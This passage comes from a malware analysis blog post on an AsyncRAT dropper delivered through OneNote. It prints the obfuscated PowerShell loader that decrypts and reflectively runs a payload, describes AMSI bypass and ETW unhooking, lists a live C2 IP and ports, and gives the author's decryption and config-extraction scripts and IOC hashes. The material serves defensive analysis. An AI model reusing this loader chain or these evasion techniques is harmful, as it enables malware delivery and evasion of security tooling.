class="p">)(</span><span class="s1">'I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc='</span><span class="p">);</span><span class="nv">$nJkwh</span><span class="o">.</span><span class="nf">IV</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Convert</span><span class="p">]::(</span><span class="s1">'gnirtS46esaBmorF'</span><span class="p">[</span><span class="nt">-1</span><span class="o">..</span><span class="nf">-16</span><span class="p">]</span><span class="w"> </span><span class="o">-join</span><span class="w"> </span><span class="s1">''</span><span class="p">)(</span><span class="s1">'mehcJXqMnXZUmnmrBD1Eeg=='</span><span class="p">);</span><span class="nv">$bIbyd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$nJkwh</span><span class="o">.</span><span class="nf">CreateDecryptor</span><span class="p">();</span><span class="nv">$dLIJD</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$bIbyd</span><span class="o">.</span><span class="nf">TransformFinalBlock</span><span class="p">(</span><span class="nv">$dLIJD</span><span class="p">,</span><span class="w"> </span><span class="nx">0</span><span class="p">,</span><span class="w"> </span><span class="nv">$dLIJD</span><span class="o">.</span><span class="nf">Length</span><span class="p">);</span><span class="nv">$bIbyd</span><span class="o">.</span><span class="nf">Dispose</span><span class="p">();</span><span class="nv">$nJkwh</span><span class="o">.</span><span class="nf">Dispose</span><span class="p">();</span><span class="nv">$gJfcg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.IO.MemoryStream</span><span class="p">(,</span><span class="w"> </span><span class="nv">$dLIJD</span><span class="p">);</span><span class="nv">$dkGYN</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.IO.MemoryStream</span><span class="p">;</span><span class="nv">$yfRSU</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.IO.Compression.GZipStream</span><span class="p">(</span><span class="nv">$gJfcg</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">IO.Compression.CompressionMode</span><span class="p">]::</span><span class="n">Decompress</span><span class="p">);</span><span class="nv">$yfRSU</span><span class="o">.</span><span class="nf">CopyTo</span><span class="p">(</span><span class="nv">$dkGYN</span><span class="p">);</span><span class="nv">$yfRSU</span><span class="o">.</span><span class="nf">Dispose</span><span class="p">();</span><span class="nv">$gJfcg</span><span class="o">.</span><span class="nf">Dispose</span><span class="p">();</span><span class="nv">$dkGYN</span><span class="o">.</span><span class="nf">Dispose</span><span class="p">();</span><span class="nv">$dLIJD</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$dkGYN</span><span class="o">.</span><span class="nf">ToArray</span><span class="p">();</span><span class="nv">$qMhaY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Reflection.Assembly</span><span class="p">]::(</span><span class="s1">'daoL'</span><span class="p">[</span><span class="nt">-1</span><span class="o">..</span><span class="nf">-4</span><span class="p">]</span><span class="w"> </span><span class="o">-join</span><span class="w"> </span><span class="s1">''</span><span class="p">)(</span><span class="nv">$dLIJD</span><span class="p">);</span><span class="nv">$haTMg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$qMhaY</span><span class="o">.</span><span class="nf">EntryPoint</span><span class="p">;</span><span class="nv">$haTMg</span><span class="o">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="bp">$null</span><span class="p">,</span><span class="w"> </span><span class="p">(,</span><span class="w"> </span><span class="p">[</span><span class="n">string</span><span class="p">[]]</span><span class="w"> </span><span class="p">(</span><span class="s1">'%*'</span><span class="p">)))</span><span class="w">
</span></code></pre></div></div>
<p>Basically what happens is that the script copies powershell.exe to the current folder and then executes a powershell script with hidden windows and execution policy set to <strong>bypass</strong></p>

<h1 id="powershell-analysis">Powershell Analysis</h1>
<p>Looking at the <strong>powershell</strong> script we can see here also 3 main parts:</p>
<ol>
  <li>Iterate through the content of the <strong>batch</strong> script line by line and once a line starts with <code class="language-plaintext highlighter-rouge">:: </code> remove this matching pattern and stop interating.</li>
  <li>AES decryption process.</li>
  <li>Invoking the decrypted binary.</li>
</ol>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/6.png" alt="image.png" /></p>

<p>The script will retrieve the big blob I’ve mentioned in the batch script analysis part and decrypt it using AES, the key for the decryption will be: <code class="language-plaintext highlighter-rouge">I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc=</code> (in base64) and the IV will be: <code class="language-plaintext highlighter-rouge">mehcJXqMnXZUmnmrBD1Eeg==</code> (also in base64).</p>

<p>The output after the decryption process will be a <strong>.gz</strong> archive that then being decompressed and the content of it will be a binary that will be invoked by the script.
<img src="/assets/images/AsyncRAT-OneNote-Dropper/7.png" alt="image-2.png" /></p>

<p>The CyberChef recipe can be found <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'Base64','string':'I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc%3D'%7D,%7B'option':'Base64','string':'mehcJXqMnXZUmnmrBD1Eeg%3D%3D'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)">here</a></p>

<p>I’ve also implemented a python script that can be used to decrypt and save the <strong>.gz</strong> archive:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">malduck</span> <span class="kn">import</span> <span class="n">aes</span>
<span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64decode</span>

<span class="n">BATCH_FILE_PATH</span> <span class="o">=</span> <span class="s">'/Users/igal/malwares/Asyncrat/OneNote/2. one.bat'</span>
<span class="n">AES_KEY</span> <span class="o">=</span> <span class="s">'I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc='</span>
<span class="n">AES_IV</span> <span class="o">=</span> <span class="s">'mehcJXqMnXZUmnmrBD1Eeg=='</span>
<span class="n">OUTPUT_ARCHIVE_PATH</span> <span class="o">=</span> <span class="s">'/Users/igal/malwares/Asyncrat/OneNote/4.one.gz'</span>

<span class="n">batchFile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">BATCH_FILE_PATH</span><span class="p">,</span> <span class="s">'r'</span><span class="p">).</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">encFile</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">batchFile</span><span class="p">:</span>
    <span class="k">if</span> <span class="s">':: '</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
        <span class="n">encFile</span> <span class="o">=</span> <span class="n">line</span><span class="p">[</span><span class="mi">3</span><span class="p">:]</span>
        <span class="k">break</span>

<span class="n">key</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">AES_KEY</span><span class="p">)</span>
<span class="n">iv</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">AES_IV</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">encFile</span><span class="p">)</span>

<span class="n">plainData</span> <span class="o">=</span> <span class="n">aes</span><span class="p">.</span><span class="n">cbc</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>

<span class="nb">open</span><span class="p">(</span><span class="n">OUTPUT_ARCHIVE_PATH</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">plainData</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] gz archive was created in:</span><span class="si">{</span><span class="n">OUTPUT_ARCHIVE_PATH</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

</code></pre></div></div>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">[+] gz archive was created in:/Users/igal/malwares/Asyncrat/OneNote/4.one.gz
</span></code></pre></div></div>

<h1 id="net-loader">.NET Loader</h1>
<p>now we can analyze the loader stored in the archive.
The loader is <code class="language-plaintext highlighter-rouge">32bit .NET assembly</code>:
<img src="/assets/images/AsyncRAT-OneNote-Dropper/8.png" alt="image.png" /></p>

<p>I open up the loader in <code class="language-plaintext highlighter-rouge">DnSpy</code> in order to further analyze it.
The loader has several key actions:</p>
<ul>
  <li>Set the file to be hidden and part of the system files</li>
  <li>VM check based on computer system info</li>
</ul>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/9.png" alt="image-2.png" /></p>

<ul>
  <li><strong>AMSI Bypass</strong> (similar POC code can be <a href="https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs">found here</a></li>
</ul>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/10.png" alt="image-3.png" /></p>

<ul>
  <li><strong>ETW Unhooking</strong> which will disable the logging for Assembly.Load calls, this topic is explained in depth by <a href="https://blog.xpnsec.com/hiding-your-dotnet-etw/">XPN</a>.</li>
</ul>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/11.png" alt="image-4.png" /></p>

<ul>
  <li>Decrypt strings which some of them used during the AMSI Bypass &amp; ETW Unhooking procedures and other strings are part of the loader functionalities. the method that will be in charge of decrypting those strings is <code class="language-plaintext highlighter-rouge">DCPmslvtGCDAiOhxxQvq.MvljRQYEXFVoIflOHPxg</code> and it’s actually another AES decryption routine which receives 3 arguments: <code class="language-plaintext highlighter-rouge">Cipher</code>, <code class="language-plaintext highlighter-rouge">key</code>, <code class="language-plaintext highlighter-rouge">iv</code> (after decoding those arguments from base64).</li>
</ul>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/12.png" alt="image-5.png" /></p>

<p>I’ve created a quick PowerShell script that invokes the method with the encrypted strings and prints out the decrypted strings</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$reflectedAsm</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Reflection.Assembly</span><span class="p">]::</span><span class="n">LoadFile</span><span class="p">(</span><span class="n">PATH_TO_FILE</span><span class="p">)</span><span class="w">

</span><span class="nv">$mainType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$reflectedAsm</span><span class="o">.</span><span class="nf">GetType</span><span class="p">(</span><span class="s2">"rwcQssqTcyOdXXoBLoie.DCPmslvtGCDAiOhxxQvq"</span><span class="p">)</span><span class="w">

</span><span class="nv">$key</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="s2">"iUlREPUR7NQ6ocefGLoxBty1eSNembQTSWsROZidb0A="</span><span class="p">)</span><span class="w">
</span><span class="nv">$iv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="s2">"U+YnktYGyx/j43tP2+WVyw=="</span><span class="p">)</span><span class="w">

</span><span class="nv">$encryptedStrings</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="s2">"8qhzRqWw9fiH/7/a5reZMA=="</span><span class="p">,</span><span class="w"> </span><span class="s2">"D/l1SD7OECP0XB2rUm87gA=="</span><span class="p">,</span><span class="w"> </span><span class="s2">"lbk35FoNbOitTifMeNV97Q=="</span><span class="p">,</span><span class="w"> </span><span class="s2">"uJDwrcc4OjLfnn4YCE0Bxw=="</span><span class="p">,</span><span class="w"> </span><span class="s2">"x9nd50/ydQ4NyJMlduaTA1aZE7EpXLNuSa2GwfmjWlxjNEtyTrE+c9z9hlGIXS4Q"</span><span class="p">)</span><span class="w">

</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$encArg</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$encryptedStrings</span><span class="p">){</span><span class="w">
    </span><span class="nv">$decodedArg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$encArg</span><span class="p">)</span><span class="w">
    </span><span class="nv">$DecResult</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetString</span><span class="p">((</span><span class="nv">$mainType</span><span class="o">.</span><span class="nf">GetMethod</span><span class="p">(</span><span class="s2">"MvljRQYEXFVoIflOHPxg"</span><span class="p">))</span><span class="o">.</span><span class="nf">invoke</span><span class="p">(</span><span class="bp">$null</span><span class="p">,@(</span><span class="nv">$decodedArg</span><span class="p">,</span><span class="w"> </span><span class="nv">$key</span><span class="p">,</span><span class="w"> </span><span class="nv">$iv</span><span class="p">)))</span><span class="w">
    </span><span class="n">Write-Output</span><span class="w"> </span><span class="nv">$DecResult</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>The decrypted strings are:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">AmsiScanBuffer
EtwEventWrite
payload.exe
runpe.dll
/c choice /c y /n /d y /t 1 &amp; attrib -h -s "
</span></code></pre></div></div>
<p>The first two strings are part of the AMSI Bypass and ETW Unhooking procedures.
<code class="language-plaintext highlighter-rouge">payload.exe</code> and <code class="language-plaintext highlighter-rouge">runpe.dll</code> are strings that the loader will try to fetch from the binary resources, if we look at the resources of this binary we can see 2 resources:</p>
<ul>
  <li>payload.exe</li>
  <li>Ticket_Reprint.pdf
The loader will iterate through the binary resources and if the name of the resource isn’t one of the decrypted strings it will instantly fetch the content of the resource and execute it.
In our case the loader will load a fake PDF for the user:</li>
</ul>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/13.png" alt="image-6.png" /></p>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/14.png" alt="image-9.png" /></p>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/15.png" alt="image-8.png" /></p>

<p>The loader will decrypt the content of <code class="language-plaintext highlighter-rouge">payload.exe</code> resource which will be another <strong>.gz</strong> archive and it will decompress it with the method <code class="language-plaintext highlighter-rouge">XWmzUoViPReUSRriqGvB</code>.</p>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/16.png" alt="image-10.png" /></p>

<p>For this I’ve also implemented a quick PowerShell script that will invoke those methods to retrieve the final payload</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$reflectedAsm</span><span class="o">.</span><span class="nf">GetManifestResourceStream</span><span class="p">(</span><span class="s2">"payload.exe"</span><span class="p">)</span><span class="w">
</span><span class="nv">$binaryReader</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.IO.BinaryReader</span><span class="p">(</span><span class="nv">$stream</span><span class="p">)</span><span class="w">
</span><span class="nv">$contents</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$binaryReader</span><span class="o">.</span><span class="nf">ReadBytes</span><span class="p">(</span><span class="nv">$stream</span><span class="o">.</span><span class="nf">Length</span><span class="p">)</span><span class="w">
</span><span class="nv">$DecryptedGZ</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$mainType</span><span class="o">.</span><span class="nf">GetMethod</span><span class="p">(</span><span class="s2">"MvljRQYEXFVoIflOHPxg"</span><span class="p">)</span><span class="o">.</span><span class="nf">invoke</span><span class="p">(</span><span class="bp">$null</span><span class="p">,@(</span><span class="nv">$contents</span><span class="p">,</span><span class="w"> </span><span class="nv">$key</span><span class="p">,</span><span class="w"> </span><span class="nv">$iv</span><span class="p">))</span><span class="w">
</span><span class="nv">$finalPayload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$mainType</span><span class="o">.</span><span class="nf">GetMethod</span><span class="p">(</span><span class="s2">"XWmzUoViPReUSRriqGvB"</span><span class="p">)</span><span class="o">.</span><span class="nf">invoke</span><span class="p">(</span><span class="bp">$null</span><span class="p">,</span><span class="w"> </span><span class="p">@(,</span><span class="nv">$DecryptedGZ</span><span class="p">))</span><span class="w">

</span><span class="p">[</span><span class="n">io.file</span><span class="p">]::</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="n">PATH_TO_FILE</span><span class="p">,</span><span class="nv">$finalPayload</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>
<p>Now that the loader has his final payload it will invoke the entry point of the payload and will execute a cmd command to delete the file from disk:
<img src="/assets/images/AsyncRAT-OneNote-Dropper/17.png" alt="image-11.png" /></p>

<h1 id="asyncrat-payload">ASyncRAT Payload</h1>
<p>I will not conduct a deep analysis of the capabilities of ASyncRAT, as it’s a pretty known and heavy analyzed malware, if you want to find out in depth analysis of this family you can find it out <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat">here</a>.</p>

<p>What I will be doing is creating a short PowerShell script that will extract the configuration automatically for us:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$reflectedAsm</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Reflection.Assembly</span><span class="p">]::</span><span class="n">LoadFile</span><span class="p">(</span><span class="s2">"C:\Users\igal\Desktop\AsyncRAT.bin"</span><span class="p">)</span><span class="w">

</span><span class="nv">$SettingsType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$reflectedAsm</span><span class="o">.</span><span class="nf">GetType</span><span class="p">(</span><span class="s2">"Client.Settings"</span><span class="p">)</span><span class="w">

</span><span class="p">(</span><span class="nv">$SettingsType</span><span class="o">.</span><span class="nf">GetMethod</span><span class="p">(</span><span class="s2">"InitializeSettings"</span><span class="p">))</span><span class="o">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="bp">$null</span><span class="p">,</span><span class="w"> </span><span class="bp">$null</span><span class="p">)</span><span class="w">

</span><span class="nv">$fields</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$SettingsType</span><span class="o">.</span><span class="nf">GetFields</span><span class="p">()</span><span class="w">

</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$field</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$fields</span><span class="p">){</span><span class="w">
    </span><span class="nv">$value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$field</span><span class="o">.</span><span class="nf">GetValue</span><span class="p">(</span><span class="bp">$null</span><span class="p">)</span><span class="w">
    </span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="nv">$field</span><span class="o">.</span><span class="nf">Name</span><span class="si">)</span><span class="s2">: </span><span class="nv">$value</span><span class="s2">"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>The output will be:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">Ports</span><span class="pi">:</span> <span class="s">6606,7707,8808</span>
<span class="na">Hosts</span><span class="pi">:</span> <span class="s">207.244.236.205</span>
<span class="na">Version</span><span class="pi">:</span> <span class="s">0.5.7B</span>
<span class="na">Install</span><span class="pi">:</span> <span class="no">false</span>
<span class="na">InstallFolder</span><span class="pi">:</span> <span class="err">%</span><span class="s">AppData%</span>
<span class="na">InstallFile</span><span class="pi">:</span> 
<span class="na">Key</span><span class="pi">:</span> 
<span class="s">�� �i�ph���↕�6→#�ס�B♦�</span>
<span class="na">MTX</span><span class="pi">:</span> <span class="s">AsyncMutex_6SI8OkPnk</span>
<span class="na">Certificate</span><span class="pi">:</span> <span class="s">SD58z6lYrooqCm8bVSOWmKOD2MuNYpniBO2revEinEMuHrAbTKh4Oi9w9RXFKogGADbFfzn8t6wT/IFjL83rZa69Y8HmYud8dQ2cAfYwWEfroB1VDheMwoyEFFzl4M2gbuHbHxtVQH+MP0oz6lRFV8ceuByhbYiUsQwwVWE/O2rCojMDilpp/0jPwSZehMWaFvB6Sf0vurfudia5OATtYKuzrH0Q0Wb0BmvmAgrt5hJ3sI+kJ1tRDaSWjdrYBdqBsBMeMO8EWvuLa7rRkcTV6weDuC5TmWB7in38K5+tUvI8ygHc5JCPSh79WBW6Wavi2Jkb2d7FXEMkQgWrQMAikB9LN+RAOT+JVDBDA9XOq69tVi3ddeUVmFH9mgMfSBHalZKEimTA81rKzHBoiLOKm/58vFDp1kjfWNMqYVT8t42v4G3Dz4IU3Oq2mR92RInBw18utBk/lyRhxlCUh8H9NS+q7MHoojyyHEnZfRl9asZ/YNxLAniB0wapRgJ+AnZapwaDh+1ycmpzZV5YsROtT5uDZnykPQxB6ldWYKEVTw7Wg4tFRSAajwnHvSRj8/zUYd5g9SI4oY5Wo6JAeAQtc/z030wQTZc2fnlVNV5SJz93J7QzyeBTFrX0823ahQzLSdApEI1blw94ZEohBAsmRfLCJofPxKn+OfV088s5J9dEbzxgpVBwoezmR04PoUqPwX92QGKQAfkXg1MhtqVfM1vSFonP69dZvIy+X5kfZLH73LNIubJUWlAJ7UIeKnXGpMB0P7KQX6/4n9Imzw7WAJK1B9KyxqfXM24bN5OAuf6yIwQ1ZMx0SToeME6lfn0A2NQyc3NdK7xitkJY+Or3IeKTfKou4PLtnm0END/53gxHTJxVxQ2BRtIu2kYrv/jixSySUcmJIjeSpZnf+Hwd7vLk7IB7hy5I4Ji6/Gavkhcfm3frZU2ZHPlHuXGKk3aS1lO05tO/HdNZN2vouqZ7tA+4IamVj9hr3kIx1Q0LmeEpl24LGYlOMWOdDLRUhHum3NnzM36n/LcmwKTrfRDxEjKx2feqx0vHUC3GMOxLKYHPHSukF5cqVfd9QOsnjqAHI/0fJHbLq3waABFvcAZp1DRQ68RpSwYpBKCFvmUyBXpJiU7jb8acv/zuTfGPzblfnSpK4HWLDa6Jppc0Xx/omyqSCixpQ+HF5rNHt+EWnRVIPwHF38qLhfg6erGa8v7j/ZmJGRVQWGM6kPmWfKjgRvm4q+UMUqMfwDcKq+/A19fnl9lqMn2bOPW1XZK4/e+ZIUWhZxMw2lZ8KUG0llLYG2oHO8NJJZQCt/gcuoirY1yXz3d6JCSkgbuVike6H5GpiDWuI28Rd+XqXScs1i7nT18DlxE9oGfUtPx2ft9LvDNfmNn0+T6h+ydDRbd4xOFVCTMrI8/xkECvUA0rLD58kbdbifQUgtZGr1USpw3RzwqLxfPkC9zR8yWlij6IUOT9bXave701lCNrNqxWfkjt+fTT5XAMp0bWHlN3O2RU8F579VgIQQlNaKk77XM22UxIP9mcJZBEjsY47H6cwXBNbm0+jjq0Y+tBZwz1WcJpyTH8pGH2g1pW5O6CHMSp/+MEFk36pt8+ujKsBpIWdLPfGyMbuFNLj3jEZRB8A3pXtaFmhP76kpddBrYTHTuagD5cMD7PyJ+SP/PjXy/X63KZUS6GfaCrpPvY4/tXur8murJ0Iv0OlRzrpmoY77jntEFr8PJn7Xb7QuP1OBMGGtD/YwvVl7nwJY3PV6rZq9GQlawxw5Bk3BQ9csaOB0+8b8sFO7GrdkstUAhp4kEg7mnJAtUq874Rmx17IcGms/qiDJM+8fWnjkUm16HZJ7/WlWCPb7fJx/7bADjkQ0S4FUDzF6xnGPRKcsPkfHV1VtEwW3xao2X8UqY7OZnQgDZPg25CKefQZymRENUBNSw/kXqltkNEJIddFYJV4dtJTMduE2Mxf7IjZFhJsgAlXIi5QSH/3deKIfrgrPMkZYmaBpWEVPHiFFY42MS/mQtP0WoPGCrxdlGEu9PXlAMQYKyknXy6f6Xyx4AAF9icv78q+LJkIVXkZBb0rgi3u4+jC92bF9UUjsCAwfKAFAu3ImShDERUKo0UdhN82AuKEd82Iqwv/ahpFOem1Urs4qOwFnlsojwycpMjtIMLcaGzwSe4JkdJCYlqmHOQuLiEue6JZav4ZK9iIOxEsK1MGCqMGXickHGVQp5W0iO0bH0BqZqkIJ0UJK1Evv7w1UxbfH5MaRUa6guOh6UZhPFX6YO8jKxkPJ1MGjMk+Os9l+rsaaEnPgWzDCsznBv7QriI5D58jxlGx4JCvYWGe/PJfySAm1r+z0M=</span>
<span class="na">Serversignature</span><span class="pi">:</span> <span class="s">Qcf6H60GXB8k7XU89y1GpMcXleNl4PyyrBbzxIzG2/ztlGpimu4P/YTXis20RQP/9Bd+LClqEicaIPJPR/jEhBJeOZoepuKLhOED6A0rjZjefKQIPi95CbejoV1WGVs/TQEWiirIezF8eEkYV/yeK2Ewbwi9lo4miF4LBdQA9q5kWMHxsmTqA15BqVVp6wYuFCXaXV8rbQ2Fxt57dEwgJfHBBouJsTFir9177xGquKWRAGvk4YwuyAAd7Ul24d2r4PodJMvE4r46En0gLHX/95rbDcZYrxWOgX88l4vbyf1LcLhkoXFa0RuIgRFgND8lUgcK8FgNG9sTePscXbawrehCAAPXtTwhkJoUMljxvZdbR/DflmtYjlVFxUBeTme/MO/tR6kusNP6ed9acScjd3Kuc1SM4IUqNY2z9cBPfsswqj6rLLvvZ3Z0nbF+A9GiNFn6JNjQiE+9ESRmM+0ul6gx8asAuo9fmoV1JUII18lNpoUPYkp/LJ1oZV3/QeVdqMdjB41PAzJLdYfmwR9r9y3yimXp3aW9tUNfHCpbpfYAD4K0vYxcnSWTJqVw2pXsWUIa7KEran+iyB/ui7lX9QZsNGPGrdwHuzy/K2z6BpmqP7uinuop7Aw4iuaB10aHB5YK11SYLetU20OnYXldGeuFZGCL0qNriziLdswL2Vw=</span>
<span class="na">ServerCertificate</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">Subject</span><span class="pi">]</span>
  <span class="s">CN=AsyncRAT Server</span>

<span class="pi">[</span><span class="nv">Issuer</span><span class="pi">]</span>
  <span class="s">CN=AsyncRAT Server</span>

<span class="pi">[</span><span class="nv">Serial Number</span><span class="pi">]</span>
  <span class="s">00AFA56C0FA71C2AD47B908F6EA2308D</span>

<span class="pi">[</span><span class="nv">Not Before</span><span class="pi">]</span>
  <span class="s">1/1/2023 3:53:23 PM</span>

<span class="pi">[</span><span class="nv">Not After</span><span class="pi">]</span>
  <span class="s">12/31/9999 11:59:59 PM</span>

<span class="pi">[</span><span class="nv">Thumbprint</span><span class="pi">]</span>
  <span class="s">08A82A722AD7B5376494D7112785B366DA6CF449</span>

<span class="na">Anti</span><span class="pi">:</span> <span class="no">false</span>
<span class="na">aes256</span><span class="pi">:</span> <span class="s">Client.Algorithm.Aes256</span>
<span class="na">Pastebin</span><span class="pi">:</span> <span class="no">null</span>
<span class="na">BDOS</span><span class="pi">:</span> <span class="no">false</span>
<span class="na">Hwid</span><span class="pi">:</span> <span class="s">A8F7444724DA6DACA6D4</span>
<span class="na">Delay</span><span class="pi">:</span> <span class="m">3</span>
<span class="na">Group</span><span class="pi">:</span> <span class="s">Default</span>
</code></pre></div></div>
<p>Which pretty much makes our life abit easier with IOC extraction :)</p>

<h1 id="iocs">IOC’s</h1>
<ul>
  <li>Invoice.one - <a href="https://bazaar.abuse.ch/sample/b11b51ff96dc7a5f1cf9985087a6ad4f66980a2b2a9b1945acd43e39434c8dec/">b11b51ff96dc7a5f1cf9985087a6ad4f66980a2b2a9b1945acd43e39434c8dec</a></li>
  <li>One.bat - <a href="https://bazaar.abuse.ch/sample/9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8/">9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8</a></li>
  <li>DotNetLoader.bin - <a href="https://bazaar.abuse.ch/sample/3c37d7351c091a9c2fce72ecde4bcd1265f148dc3b77017d468e08741091bc50/">3c37d7351c091a9c2fce72ecde4bcd1265f148dc3b77017d468e08741091bc50</a></li>
  <li>Ticket_Reprint.pdf - <a href="https://bazaar.abuse.ch/sample/101e408316eb7997bc4d2a383db92ab5a60da4742ebd7a7b8f15ca5d4d54bebe/">101e408316eb7997bc4d2a383db92ab5a60da4742ebd7a7b8f15ca5d4d54bebe</a></li>
  <li>AsyncRAT.bin - <a href="https://bazaar.abuse.ch/sample/00cdee79a9afc1bf239675ba0dc1850da9e4bf9a994bb61d0ec22c9fdd3aa36f/">00cdee79a9afc1bf239675ba0dc1850da9e4bf9a994bb61d0ec22c9fdd3aa36f</a></li>
  <li><a href="https://gist.github.com/0xToxin/bf43e018245f6e24f1a9274054275653">Loader.ps1</a></li>
  <li><a href="https://gist.github.com/0xToxin/a70c56e4d9ff9de6b057f13abd84f83f">Async.ps1</a></li>
</ul>]]></content><author><name>0x1john</name></author><category term="Malware Analysis" /><category term="AsyncRAT" /><category term="PowerShell" /><category term="OneNote" /><category term="Batch" /><category term=".NET" /><category term="Config Extraction" /><summary type="html"><![CDATA[Deep Dive analysis of an AsyncRAT OneNote Dropper]]></summary></entry></feed>